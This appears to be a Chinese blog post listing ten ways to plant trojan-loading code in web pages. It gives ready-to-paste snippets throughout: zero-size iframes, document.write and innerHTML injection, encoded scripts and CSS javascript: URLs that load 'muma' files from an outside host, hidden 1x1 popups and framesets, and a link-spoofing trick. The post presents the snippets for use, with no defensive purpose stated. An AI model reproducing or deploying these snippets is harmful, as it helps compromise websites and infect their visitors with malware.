常见的页面恶意代码及利用

一:框架挂马

   <iframe src=地址 width=0 height=0></iframe>

二:js文件挂马
  
   首先将以下代码
   document.write("<iframe width='0' height='0' src='地址'></iframe>");
   保存为xxx.js,
   则JS挂马代码为
   <script language=javascript src=xxx.js></script>

三:js变形加密
  
   <SCRIPT language="JScript.Encode"          src=http://www.jxcm.net/muma.txt></script>
   muma.txt可改成任意后缀

四:body挂马

   <body οnlοad="window.location='地址';"></body>

五:隐蔽挂马
 
   top.document.body.innerHTML = top.document.body.innerHTML +    '\r\n<iframe src="http://www.jxcm.net/muma.htm/"></iframe>';

六:css中挂马

   body {
   background-image: url('javascript:document.write("<script          src=http://www.jxcm.net/muma.js></script>")')}

七:JAJA挂马

  <SCRIPT language=javascript>     
  window.open  ("地址","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro  llbars=no,width=1,height=1"); 
  </script>

八:图片伪装

  <html>
  <iframe src="网马地址" height=0 width=0></iframe>
  <img src="图片地址"></center>
  </html>

九:伪装调用:

   <frameset rows="444,0" cols="*">
   <frame src="打开网页" framborder="no" scrolling="auto" noresize    marginwidth="0"margingheight="0">
   <frame src="网马地址" frameborder="no" scrolling="no"   noresize    marginwidth="0"margingheight="0">
   </frameset>

十:高级欺骗

   <a href="http://www.jxcm.net(迷惑连接地址,显示这个地址指向木马地址)" onMouseOver="www_163_com(); return true;"> 页面要显示的内容 </a>
<SCRIPT Language="JavaScript">
function www_163_com ()
{
var url="网马地址";
open(url,"NewWindow","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,copyhistory=yes,width=800,height=600,left=10,top=10");
}
</SCRIPT>

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值